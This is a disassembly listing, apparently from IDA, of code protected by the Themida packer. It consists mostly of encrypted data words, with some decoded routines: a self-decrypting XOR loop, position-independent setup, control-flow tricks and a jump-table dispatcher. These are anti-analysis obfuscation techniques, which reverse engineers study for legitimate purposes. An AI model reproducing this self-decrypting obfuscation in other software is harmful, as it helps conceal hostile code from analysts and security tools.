		dd 0DE0DA96h, 67B5E3B8h, 0C8363635h, 8518A87Ah,	0A204A4D2h
		dd 0F571DA49h, 0A2B990BDh, 3BD2332h, 802659A3h,	7EBBF5B7h
		dd 8630359Dh, 8638CC12h, 89962509h, 86302B01h, 4F3B6C42h
		dd 79C0A02Eh, 8BD9DA6Fh, 0B302548h, 957FA8B9h, 86359D14h
		dd 65CF2509h, 86CE9809h, 0BBD2358h, 802A249Dh, 0B6153728h
		dd 47FF0ECEh, 0A234AC42h, 0A27C2406h, 3BB37D7Ah, 80233047h
		dd 83B42A21h, 6F302590h, 863025C4h, 0E98398A7h,	0B9A4F305h
		dd 22h,	9E8h, 35331C00h, 942126E7h, 8B5F2FCCh, 130F4195h
		dd 0C3C78106h, 60000066h, 0C319D89h, 8B660613h,	0B861DAh
		dd 8B000000h, 131FAD95h, 3834FF06h, 99E2B860h, 53524252h
		dd 5B615E5Eh, 0D618E981h, 0EB812323h, 28DDE54Eh, 0E16840BAh
		dd 0C2EB8118h, 891201A1h, 132825B5h, 0E5C38106h, 0E953F6DAh
		dd 5, 0D47A2355h, 71C8966h, 0D599D89h, 0BA660613h, 0E8814A70h
		dd 544CC233h, 0C081CF8Bh, 544CC22Fh, 81F1BF0Fh,	0FF99E0F8h
		dd 9A850FFFh, 0E8FFFFFFh, 7, 0E68EFD52h, 0F7841E7h, 28Fh
		dd 595A5300h, 0FE8h, 5C6FED00h,	18647844h, 81C409E1h, 0FE3BFBA0h
		dd 1EC59D8Bh, 8B590613h, 91C181D1h, 8B000074h, 0CC48BFD7h
		dd 0EF811AC2h, 1AC2AF50h, 3EE8166h, 8B31FF88h, 132D11B5h
		dd 29575806h, 1300598Dh, 0E8815B06h, 5F7C395h, 0C820Fh
		dd 8D0F0000h, 6, 4CD9D89h, 0E8810613h, 66A638E0h, 0DE9h
		dd 0FC016A00h, 76C6D0D4h, 857D45B3h, 0E8815FA0h, 34DC6EB7h
		dd 1899DB3h, 706412BAh,	4E98364h, 20CFE381h, 0EF8149BFh
		dd 1, 13850Fh, 9D8B0000h, 61322EDh, 15E9h, 0DFAE8000h
		dd 2878487Ah, 0FF83E9DBh, 0B51BFFFFh, 7939DBA1h, 1FE975D0h
		dd 0E9000000h, 7CD01Ch,	6 dup(0)
		dd 0F0E90000h, 2E000007h, 3218B6A0h, 2A10AEA0h,	3416B496h
		dd 2B0DADA3h, 2518B69Eh, 54E10Ah, 223080A2h, 3F099E84h
		dd 2428B99Fh, 6392BD86h, 16B7B7E7h, 70C579B0h, 109DB511h
		dd 86007552h, 4F109DB4h, 81D406CEh, 203EE805h, 8FEE6CD8h
		dd 8CFAEF2Fh, 96BE0B2Fh, 51DC114Eh, 7A168DCBh, 0FB4A0858h
		dd 0F3DCFB9Ah, 79DB7241h, 45E8A3C7h, 0A7EC2724h, 706FFEC6h
		dd 253F54Ah, 0E63690C5h, 9EFF0A89h, 56E3F5FFh, 67FAE0FEh
		dd 0DF7254E5h, 9C36DC6Dh, 0ACE2731Fh, 89E5DD39h, 667A60Ah
		dd 15A387A8h, 6D2BB33Dh, 0D55AADDBh, 41h, 2670BD69h, 9DB55BB7h
		dd 80E12410h, 14408DB1h, 36D33D45h, 0B7173D8Ch,	41E65D1Bh
		dd 1F05A3h, 0BD590000h,	0E3C7E470h, 75F4FC54h, 9DB48504h
		dd 7FFC6610h, 0BC0B86D3h, 0FAD5F594h, 2Fh, 4BE0C258h, 0A32D6CFDh
		dd 213024B1h, 9DB574D0h, 3218AC10h, 0FF921F23h,	4DCC9DADh
		dd 0DB751D2Ch, 3E54775Eh, 0A6381ACDh, 9F2E20A8h, 0A3BB15B5h
		dd 7AEBC8BEh, 168E85A3h, 2E102164h, 3012B09Ah, 0A19FAE9Ch
		dd 6CA13E48h, 107B8EA5h, 4D035476h, 0AC399DFCh,	707899A8h
		dd 7FC392F3h, 94D1C2Ch,	15C697BBh, 63796CDDh, 4EE29029h
		dd 0D901DEFCh, 0DAFCC488h, 0C3E7C486h, 988D971h, 85D120BFh
		dd 67047778h, 4ADE9425h, 0A308A200h, 7CD607BBh,	45109DB5h
		dd 5085A1C0h, 52024F73h, 0A03A8203h, 46E06CBDh,	994767C1h
		dd 41A641DEh, 53h, 0C5BBA315h, 4EE0C269h, 400A9E00h, 0B4890F1h
		dd 9DB580DAh, 4391B910h, 2728C50Fh, 0EB9AB203h,	109DB56Fh
		dd 9AB4D538h, 6BBD68C2h, 0ED152F19h, 6D0C07BEh,	70E5C2D1h
		dd 109DB516h, 0DD2BF8DFh, 0DAE6ECEDh, 41DF31BBh, 0FE4CE0C2h
		dd 63EBF6h, 0C2470000h,	0EC4051E0h, 0EF8E0F5Eh,	358DD9E5h
		dd 9DB546C0h, 68EA7A10h, 0A7ABB8D9h, 0E9283919h, 0E8CAE988h
		dd 66F0F856h, 0B53793C2h, 4A70109Dh, 860756F8h,	3483D73Eh
		dd 795E7D1Ch, 0CB15B3F7h, 23BD0704h, 6BBD68C2h,	0AEDF00DFh
		dd 109DB534h, 0E475D368h, 6D7796A5h, 70E5C2F3h,	109DB516h
		dd 0E436BEDFh, 0E06CBD3Eh, 36142051h, 0C2FD1099h, 331670E5h
		dd 0BEDF1099h, 0B35FDC36h, 0A68C2A22h, 2A2C3D17h, 0A6A8B99Bh
		dd 26283913h, 0A4A6B791h, 0EC26390Fh, 1280664Fh, 0D87CC979h
		dd 949262FAh, 2B3A5CBAh, 20000000h, 51E06CBDh, 5B780E53h
		dd 4903567Ch, 0A38D007Fh, 0C746168Eh, 1CADE576h, 4ABBD366h
		dd 0A8A9CD0h, 0B5157499h, 3022B298h, 6CBD2EA8h,	0C3E4C3E0h
		dd 9DB53892h, 0ED9C0110h, 109DB571h, 67F7DB3Ah,	328EDDE7h
		dd 4A704F37h, 4F8C54F6h, 8EA2031Eh, 0E9C94C16h,	2D1076C7h
		dd 0AC49DF4Ah, 7ED31A81h, 9F022B41h, 4A706FFEh,	860756F8h
		dd 0BA70CF3Eh, 0D7688EDCh, 54E6E879h, 7AF86BFAh, 0CF431401h
		dd 13A58D3Ah, 1AABAD37h, 25850174h, 0CF4E8618h,	972A10AEh
		dd 0A53416B5h, 81DD10AFh, 4A861825h, 466201CBh,	194C6B1Bh
		dd 8C092F40h, 203F9C01h, 51971EDh, 0C4183A80h, 76C3E786h
		dd 0C60E8FDEh, 0BBA33A98h, 0F65069C5h, 0C3E06CBDh, 300151DFh
		dd 0C14D07D1h, 0DE994767h, 577BA641h, 95F44505h, 45D44Bh
		dd 0A36A0000h, 0C269C5BBh, 9DB53793h, 0F64A7010h, 0BEDF8C54h
		dd 0BDE5C2A4h, 8D00DF6Bh, 109DB511h, 0A731BBDAh, 0B3196BBDh
		dd 9ED5190h, 7DA680E1h,	0E0DDC2E3h, 8B992870h, 0BD6A0D7Bh
		dd 0F16C316h, 259AC5h, 0A3380000h, 2DB6FFBBh, 81114D4Ah
		dd 93C246E0h, 109DB537h, 2861F426h, 6AABBA98h, 0C2D06A0Bh
		dd 0DF6BBD68h, 0BDE37D83h, 0E4C3E06Ch, 9DB51571h, 8C01DE10h
		dd 109DB512h, 11DBBADBh, 36152352h, 94FE1099h, 52FA4BF7h
		dd 55FF4E74h, 1B73C204h, 80B68F4Ah, 1A2B4AC3h, 5AE7A838h
		dd 88CA9BFAh, 164A1B39h, 90765FDCh, 0A1FD704Fh,	6A10998Dh
		dd 1737872Bh, 1CC643CDh, 22887CDh, 4ADEB3h, 27B1D061h
		dd 0BA2B0C29h, 10998E60h, 84DCE429h, 5CBA33B4h,	391Ch
		dd 6CBD4200h, 557251E0h, 9DB4A620h, 8394D710h, 470DE78h
		dd 0B20ED637h, 7DF0CFB7h, 168F4190h, 98B71479h,	8B40E965h
		dd 6F53B20Ah, 0BEDF6EDEh, 0EE24B736h, 3814A55Dh, 6CBD409Ah
		dd 0E5351E0h, 4B2A5B78h, 0DC168EAAh, 0A3BF19B9h, 5069C5BBh
		dd 70E5C2F6h, 109DB516h, 2436BEDFh, 0E71EF591h,	379CABF6h
		dd 0E0C2FC56h, 9AB8004Eh, 6CDDC240h, 0FA459449h, 0C5A33B85h
		dd 6DA64179h, 2Fh, 0C5BBA3D1h, 3793C269h, 109DB5h, 0CC1C3E9Dh
		dd 8E56B786h, 50E0C2D4h, 22099D02h, 0B273180Fh,	0BD8D2D2Ah
		dd 7D83DF6Bh, 3DC4E3h, 0A36A0000h, 0C269C5BBh, 0D1B04BDDh
		dd 4CC1864Bh, 109E8AD2h, 0D11B7A9Bh, 8AF55184h,	0AFE4109Eh
		dd 6FB0D15Ch, 2C066704h, 6BBD68C2h, 0AEDF00DFh,	109DB534h
		dd 0CC88D5FDh, 737D1C7Dh, 0BDE37DE9h, 2051E06Ch, 10993614h
		dd 4E0475FDh, 4F7151FBh, 0C1FF4EFEh, 8C01DEA8h,	168A3861h
		dd 83AC0B8Ah, 9884E288h, 0B0AE3627h, 0C5BBA312h, 0BDF65069h
		dd 0C146E06Ch, 0DE994767h, 4541A641h, 15000000h, 0E6C5BBA3h
		dd 0B53A94C9h, 273109Dh, 109DB488h, 1E7FCC51h, 93C20CD6h
		dd 109DB537h, 787DA00h,	9DB57CD6h, 0A1C04510h, 0B3107190h
		dd 0B4E56194h, 6FAE109Dh, 68C2FB65h, 83DF6BBDh,	29C4E37Dh
		dd 6A000000h, 250E0C2h,	20607EBAh, 3C0C9F83h, 93C22AB4h
		dd 109DB537h, 0C29BB726h, 0DF6BBD68h, 19D6D700h, 66FF743Ah
		dd 0E37D045Eh, 51E06CBDh, 99361420h, 475FD10h, 7151FB4Eh
		dd 0FF4EFE4Fh, 0CB1BA8C1h, 0EB8C25BDh, 5647A72h, 17B4D534h
		dd 8A468BE6h, 0D1F11416h, 0C5BBA377h, 0BDF65069h, 0C146E06Ch
		dd 0DE994767h, 4141A641h, 15000000h, 69C5BBA3h,	250E0C2h
		dd 0EE689DBAh, 0B7109DB4h, 0B4E96598h, 53B2109Dh, 0E071E16Fh
		dd 0C266C0A1h, 3793C2E5h, 109DB5h, 0BD89539Dh, 0D700DF6Bh
		dd 994685C2h, 0E17B45FDh, 20C4E37Dh, 6A000000h,	69C5BBA3h
		dd 0B53793C2h, 0B726109Dh, 0BD68C29Bh, 0C283DF6Bh, 0B51670E5h
		dd 0BEDF109Dh, 0BD3EE436h, 5351E06Ch, 775B780Eh, 0DA34A9E7h
		dd 0A3109DB4h, 0D3320362h, 2899CC09h, 19168EC0h, 8FDAD6F4h
		dd 0A94AC439h, 2C130A8Ah, 222F4FAh, 0C4A5C40Fh,	8A6376E7h
		dd 260C1074h, 6BAABB95h, 0B0810461h, 0B1113B8Eh, 3F0E3E8Fh
		dd 2A73BDCEh, 0C744AE5Eh, 2482CA1Bh, 72E3ABFEh,	89A66D18h
		dd 8CDDBCE1h, 76DE6B4Fh, 824A0054h, 51FF50h, 7929A2CCh
		dd 604764E8h, 3178B05h,	0D301CB23h, 0D381D0F2h,	879C0382h
		dd 57A991D3h, 3081D31Dh, 6DA0BF1Ch, 89A679F1h, 0D2915BBAh
		dd 0AF7h, 0E0C25B00h, 0D2330250h, 0BDDC860Ah, 7254E571h
		dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h
		dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 76768h, 243C8900h
		dd 0C781E789h, 4, 8704EF83h, 525C243Ch,	0C281E289h, 4
		dd 8704EA83h, 895C2414h, 89512434h, 4C181E1h, 81000000h
		dd 4E9h, 240C8700h, 240C895Ch, 5304B850h, 2D480609h, 0FFFFFFFFh
		dd 0EF4F932Dh, 58C689FFh, 240C8B54h, 4C481h, 89530000h
		dd 8BA52F3h, 1000000h, 5A1A89CAh, 240C8B5Bh, 81E68956h
		dd 4C6h, 4C68300h, 5C243487h, 5E2434FFh, 0E904C483h, 0FFF9760Ch
		dd 24036B30h, 0B58A086Dh, 0B80225FAh, 61A0ACAh,	0E0FFC503h
		dd 673E0520h, 694BEB72h, 6644F9B6h, 698635AEh, 65D5F675h
		dd 6654255Dh, 38DAF9C9h, 0CC58D8Dh, 9D8B061Ah, 6131321h
		dd 1BBD8D89h, 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 1F9DF3C3h, 0BE34C82Dh, 0DD85C78Dh
		dd 94061318h, 6A000059h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0E87AC352h,	0Ch, 55A870D3h
		dd 0A2DE9EFBh, 2F8365E2h, 35099D2Bh, 0C7580613h, 13305585h
		dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 2631C300h, 0EE9775Bh, 70000000h
		dd 0AAAE259Eh, 995B00EFh, 3A8D9A66h, 12E907h, 0B3DF0000h
		dd 0D179E85Ch, 37BA9782h, 0A9F5BB49h, 1F7DC7D6h, 0FE8h
		dd 0A3822500h, 95E2B26Fh, 5BCD9275h, 59C4A1D4h,	58C3B70Fh
		dd 0ED5B5FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 196715C3h, 97B09758h, 2BD3A4D8h
		dd 1300D9BDh, 8995FF06h, 6A06131Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 52F9C356h
		dd 0F8CAF5E2h, 95FF006Ah, 6130DA9h, 0FEBC08Bh, 9EE0E601h
		dd 5EDD9155h, 1C31091h,	0E814031Bh, 0Ch, 0F70B07Ah, 5C080F9Ch
		dd 15E54DAFh, 2B58D38Bh, 131D1995h, 44C08106h, 9000072h
		dd 13059DBDh, 6806h, 0E2BA0000h, 5B7445B6h, 34FFD68Bh
		dd 2860F03h, 8B000000h,	0C68159FAh, 7CED85B0h, 6F8FE981h
		dd 83BE1E34h, 816E256Eh, 0DEE660C1h, 4FC2803Fh,	87DEF181h
		dd 5E92BA4h, 0E6000000h, 3F103D61h, 0F180C89h, 8D29D0B7h
		dd 613050Dh, 8104EB83h,	0FF8E48FBh, 0AF850FFFh,	0E9FFFFFFh
		dd 0Ch,	0EA998701h, 0E4D9DE77h,	4AEECC25h, 23E9h, 87417500h
		dd 0Dh,	7 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5ED536
; ---------------------------------------------------------------------------
		db 58h,	0Ah, 4Ch
		dd 54FA4C6Eh, 4A005476h, 5BF5466Ch, 4C08557Bh, 9BF03F6Eh
		dd 82A8064Eh, 0A0822032h, 0BB9D3D0Bh, 0B784222Ah, 0C1E96598h
		dd 5FB216B7h, 1D6CBD03h, 1372C38Fh, 52DFE372h, 2B7EA402h
		dd 9B2E1021h, 8EEF59EEh, 0DA150631h, 31F8A1FBh,	0C41638A7h
		dd 0EA28BB8Ah, 7E10A151h, 9E98930Fh, 58395C10h,	7F03587Ah
		dd 435C5E3h, 70E5C2F1h,	109DD116h, 0FFDFBEDFh, 73C286D9h
		dd 51014Fh, 7929A2CCh, 5E4462E6h, 193ABBCBh, 8FF643C6h
		dd 0AF2E5FEEh, 28109E4Fh, 446611AAh, 34B9BF4h, 32025A62h
		dd 0D4A34171h, 37CDCDEBh, 1CA4553Ah, 7305h, 0D1F9D600h
		dd 449ECF83h, 0D109E3Dh, 89D874C5h, 13426908h, 0C159F1CBh
		dd 0C2F9636Dh, 6CFD4BE0h, 20B1A32Dh, 70EC1D2Ch,	0E5109DB5h
		dd 0E8A8D465h, 8AA341EAh, 198C03A5h, 13DD0FF9h,	18Ch, 6DBDB200h
		dd 0AEBF891Eh, 568AB6A9h, 0DDBC2212h, 19A9ADBCh, 888146Fh
		dd 0C7EC5AE6h, 0A0A9C867h, 0F64726D3h, 7CCD83D4h, 6012A7EBh
		dd 2280CEh, 0A13F9FADh,	55E470BDh, 0DC6DE171h, 731F9C36h
		dd 6A506EE6h, 2B1DB2D7h, 3D9AFB1Ah, 0B56FEB1Ah,	0D538109Dh
		dd 0E67A5C0Bh, 0F5684764h, 109DB499h, 4A992362h, 0E2133423h
		dd 109DB568h, 0B5992931h, 0C86F7D4h, 0D5109DB5h, 6DDE28B0h
		dd 41E8613Fh, 4FC9A3h, 0BD6D0000h, 0F9902170h, 0B584E569h
		dd 22243554h, 3B1FBC8Eh, 7594A5ADh, 276BFC6Bh, 351E092h
		dd 10A082A3h, 9587A42h,	87D8FA4Bh, 0CA9BB506h, 521B2A4Bh
		dd 4B1943B8h, 0F3A341E8h, 2Dh, 0E470BD47h, 6ADE7155h, 61DAF8DBh
		dd 923024B1h, 4DE0C238h, 53E3F5FFh, 0BA1B6AFBh,	33109DB4h
		dd 3AFA2297h, 0A2A341EAh, 1, 0CADDC2B8h, 0A9AB529Bh, 15D902Fh
		dd 0CA109DD8h, 0FD4F814Bh, 87DAFC4Dh, 2E6074C5h, 0F753E59Dh
		dd 221EEFD8h, 0A3013FF2h, 0E6FB3B19h, 32403A0h,	9DD178D2h
		dd 3117AC10h, 0AAD9E322h, 168ECDBBh, 3618296Ch,	250AA9A3h
		dd 520A0912h, 1E3C84C4h, 4A3A93Ch, 3E58B223h, 0FC210A8Bh
		dd 880475F4h, 0C10A8B3Dh, 0B08F38D1h, 4514368Ah, 3E3995C4h
		dd 83020A8Bh, 0C0C61739h, 361B52E9h, 0E9C9A817h, 0C61376C7h
		dd 7C5EEF8Eh, 0F0D263E9h, 7B5FEE5Ch, 0EBD061E9h, 6E29A8DFh
		dd 2E607499h, 0C842A89Dh, 582E7F33h, 946D79ABh,	84234240h
		dd 9A6D6E9Bh, 767E734Ch, 470CCC68h, 0FAB45AACh,	8A000000h
		dd 0B205BEA3h, 0A5D8F796h, 168EBC40h, 0A1A5B4D9h, 0BB9F3C10h
		dd 0B9972129h, 0A9064697h, 9764817Eh, 0C60E04C4h, 0BA922327h
		dd 0D465E3ABh, 0E1C18B1Eh, 0AD728B49h, 57335Ah,	0A3070000h
		dd 74E9C6BCh, 6F624BFAh, 1B6EBF03h, 80E180C8h, 0B2230423h
		dd 909DB558h, 118DFC21h, 0DA909DB5h, 43B231BBh,	909DB4C7h
		dd 53E26AFBh, 0E372E26Fh, 291CAD1Bh, 0D8A01953h, 0EED4F38Fh
		dd 2465F45Eh, 0B44EBF9Ch, 2DEF624Bh, 4E96B205h,	835E7CA1h
		dd 69h,	0C8BEA3DFh, 3D99CCEBh, 6109DB5h, 0BC942387h, 77646CADh
		dd 8EA0FB06h, 90A1E416h, 0D96E1BAEh, 8AB00E6Fh,	0B5441537h
		dd 0A8AA052h, 0D88AFF93h, 0A7E7C785h, 9EB201C2h, 902F4ECFh
		dd 74A46E5Dh, 79ECCB10h, 470921Dh, 6581E1E6h, 4F3CA8Fh
		dd 8F0E5B65h, 3499CBEh,	57F41E32h, 912E5891h, 5A236F5Ch
		dd 99395C0Ah, 0C8BEA33Fh, 0BA8D7AEBh, 1B7A1687h, 97B5084Ah
		dd 91C31238h, 96270947h, 882E19B6h, 1F2F7F2Dh, 0E8CF4Eh
		dd 6FFEC6E0h, 0E624441Eh, 0F0890914h, 7E5DEF42h, 0F6470D5Ch
		dd 0ADA53397h, 32183523h, 2628B0A2h, 0A6A8B993h, 362A3B15h
		dd 42933FBCh, 3386AC0Ah, 140D4819h, 0B1000000h,	0FD4BE0C2h
		dd 6FA32D6Ch, 7ED80D2Ah, 47109DB5h, 0BD64FEC6h,	7254E571h
		dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h
		dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81595451h,	4C1h, 4E98300h
		dd 5C240C87h, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 68241C89h
		dd 23h,	52243C89h, 171263BAh, 81D2F700h, 65726AC2h, 0DEB85055h
		dd 2D7EFD6Dh, 227F7F61h, 7A135425h, 2E0C131h, 4002E8C1h
		dd 95CEF42Dh, 58C23194h, 0FDF2814Ah, 8928B65Eh,	8B545AD3h
		dd 0C483243Ch, 8685004h, 58000000h, 1889F801h, 243C8B58h
		dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0FF5C2414h, 835B2434h
		dd 1E904C4h, 0A2FFF96Fh, 730097A8h, 7783EDB6h
		db 1, 47h
; ---------------------------------------------------------------------------


loc_5ED536:				; CODE XREF: Themida_:005ED060j
		mov	eax, 61A11CAh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 38h
		dd 6111AA99h, 0DF08F880h, 0B71B3D63h, 251AA5C1h, 0BD19A9DBh
		dd 0DE111335h, 701FB8Eh, 0FE478414h, 552A9810h,	0F1707026h
		dd 7A61CAE9h, 6A462616h, 9B17F00Dh, 2FE7ACh, 5778112Ah
		dd 83256F6Eh, 0A15C005Dh, 1946F443h, 20C9765h, 4109AFE6h
		dd 0CD3EA6BEh, 882FB991h, 3D50BE08h, 0F14146ECh, 0D20E9621h
		dd 9853CCBEh, 4132BDF7h, 8B187740h, 1E7EF7D7h, 581E06E4h
		dd 8D435F8Bh, 1A13628Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 817369D3h, 0C85424CBh
		dd 89D58A46h, 131BBD8Dh, 0C1B9BF06h, 3CB015CBh,	18DD85C7h
		dd 5AAC0613h, 0BD890000h, 6131E55h, 305585C7h, 613h, 9D890000h
		dd 61305B5h, 2331B5FFh,	0FDB00613h, 1D8995FFh, 8B660613h
		dd 0FF006AF1h, 130DA995h, 0EBC08B06h, 7951407Eh, 97E0B5F8h
		dd 6220F408h, 905B895Ch, 0F6B98F1Ch, 28029682h,	0E46D4825h
		dd 93F72E69h, 6597B388h, 0C6439E66h, 0A2610537h, 8C6E94BBh
		dd 3AF40AC6h, 48F13338h, 0A4B75839h, 83402F90h,	3AA5E898h
		dd 0ACC090EFh, 0E2E6E384h, 0EA585681h, 0D8C1B440h, 0FB724F1Eh
		dd 0C2B7B6EDh, 0C5D1F2F4h, 0EC9BD655h, 21B27C78h, 0D9ED04E8h
		dd 0C6393E89h, 0B58EDDDh, 0F18BF256h, 7184CA50h, 8DC93409h
		dd 1A14548Dh, 7DCE8106h, 0F21C50Fh, 68Fh, 8DB58B00h, 8906130Ah
		dd 131BBD8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 85C7C43Ch, 61318DDh, 6C20h, 5585C7F8h
		dd 61330h, 66000000h, 0B5FFF38Bh, 6132831h, 2BED8D89h
		dd 95FF0613h, 6131D89h,	6AF18B66h, 0A995FF00h, 8B06130Dh
		dd 1B2FEBC0h, 8A922084h, 8ECECD57h, 0C0AD5DF1h,	619A42E3h
		dd 22069AA9h, 0AD66B2ABh, 1795F45Bh, 0B222656h,	0FBE2D070h
		dd 0A20D7DFDh, 3B5748EFh, 8D8DE7DAh, 61A154Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 60C35343h, 288822A5h
		dd 0FA8B6660h, 13E9h, 644A4E00h, 0C1A087E2h, 3B6910Ch
		dd 0FFA06581h, 3A2D71E0h, 0BD8D8961h, 6A06131Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 32B8C357h, 914A1D17h, 0A8BC0BB8h, 0DD85C777h, 5C061318h
		dd 8100006Bh, 97E498CEh, 5585C766h, 61330h, 81000000h
		dd 23926BF0h, 5DB5FF6Ch, 0FF061312h, 131D8995h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 895278FCh, 13351D9Dh, 6A5F06h, 0DA995FFh, 0C08B0613h
		dd 75FF08EBh, 867D4C74h, 7E8FCB1h, 0B9000000h, 5D62D3h
		dd 0E7812AF9h, 78053F0Ah, 81FE8B5Eh, 752FC6h, 0BBCF8B00h
		dd 0
; ---------------------------------------------------------------------------
		sub	ecx, 28ADCA33h


loc_5ED84E:				; CODE XREF: Themida_:005ED894j
		mov	edx, [esi+ebx]
		and	ch, 26h
		add	edx, 24356C8Ah
		mov	[ebp+6130A0Dh],	edi
		xor	edx, 447735A2h
		add	[ebp+61309DDh],	ecx
		xor	edx, 69BD4996h
		movsx	ecx, dx
		push	edx
		mov	[ebp+6130AF1h],	esi
		pop	dword ptr [esi+ebx]
		movzx	ecx, cx
		mov	eax, [ebp+6130B61h]
		sub	ebx, 4
		and	ah, 79h
		cmp	ebx, 0FFFF8B3Ch
		jnz	loc_5ED84E
		lea	ecx, [ebp+61A16D3h]
		push	0
		push	ecx
		call	sub_5ED8AB
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ED8AB	proc near		; CODE XREF: Themida_:005ED8A3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5ED8AB	endp

; ---------------------------------------------------------------------------
		db 0ACh
		dd 0B70FA3D8h, 0BD8D89C6h, 6A06131Bh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5B4FC356h
		dd 8D89C0AEh, 6131CD9h,	18DD85C7h, 71CC0613h, 858B0000h
		dd 613176Dh, 305585C7h,	613h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0BBA041C3h
		dd 0AEB28392h, 0BD896039h, 61308C5h, 0A419D89h,	89610613h
		dd 1314E19Dh, 9B5FF06h,	6A061323h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0D15EC357h
		dd 57B10B9h, 6D8F10EDh,	63EEEB81h, 95FF18F6h, 6131D89h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 9DC35646h
		dd 1EC58D29h, 6A0613h, 0DA995FFh, 0C08B0613h, 56273FEBh
		dd 81C7AAB6h, 0B95A5241h, 0AD5B68Bh, 8F7BA2A1h,	97073D2Eh
		dd 6A53A0A9h, 1A98357Ah, 9A5FECD0h, 84BB3DCh, 24AFDDA8h
		dd 6539EF19h, 4B1770A8h, 954C8C3Ch, 0DDD9593Fh,	1E8FEB96h
		dd 0E185C6F4h, 56061311h, 0C530DF68h, 0E9B5FFA9h, 8D06131Eh
		dd 167C3385h, 8DD0FF06h, 131A398Dh, 406A5106h, 0D55B5FFh
		dd 0B5FF0613h, 6130B5Dh, 0B5FFD0FFh, 6130D55h, 0B5DB5FFh
		dd 0CE80613h, 1E000000h, 0A81717DCh, 0A0572732h, 5AC7DFF1h
		dd 4EA835Ah, 2242CC1h, 22424C1h, 0F7241403h, 68241Ch, 5F000000h
		dd 813A0C8Bh, 0A0EA1CE9h, 4CF1817Fh, 81103741h,	0B9805C1h
		dd 48F5168h, 0F6EF813Ah, 812D3C26h, 3C26F2C7h, 243C3B2Dh
		dd 14850Fh, 19E90000h, 7E000000h, 888B8BFCh, 0BE41B53Bh
		dd 0CDC6D70h, 0B9E96922h, 19FFFFFFh, 62714FF3h,	2A2D9D8Dh
		dd 38B0613h, 840FC00Bh,	7, 5B8B038Bh, 8B188904h, 15FE9C9h
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_5EDAB2	proc near		; CODE XREF: sub_406890+12Cp
					; sub_409BC0+1Dp ...
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 61A17F1h
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5EDC08
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 1E330B14h
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+6131BBDh],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0B81EC512h
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+61318DDh],	eax
		mov	eax, [edx+14h]
		mov	[ebp+6133055h],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5EDBCC
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61313D1h]
		jmp	loc_5EDBE0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6131A95h]
		jmp	loc_5EDBE0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6132831h]
		jmp	loc_5EDBE0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+613005Dh]
		jmp	loc_5EDBE0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+613302Dh]
		jmp	loc_5EDBE0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61331EDh]
		jmp	loc_5EDBE0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+613125Dh]
		jmp	loc_5EDBE0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6131B65h]
		jmp	loc_5EDBE0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6131139h]
		jmp	loc_5EDBE0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6130ED5h]
		jmp	loc_5EDBE0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6130B01h]
		jmp	loc_5EDBE0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6132101h]
		jmp	loc_5EDBE0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6132CA1h]
		jmp	loc_5EDBE0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61320B9h]
		jmp	loc_5EDBE0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6132309h]
		jmp	loc_5EDBE0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6132331h]
		jmp	loc_5EDBE0
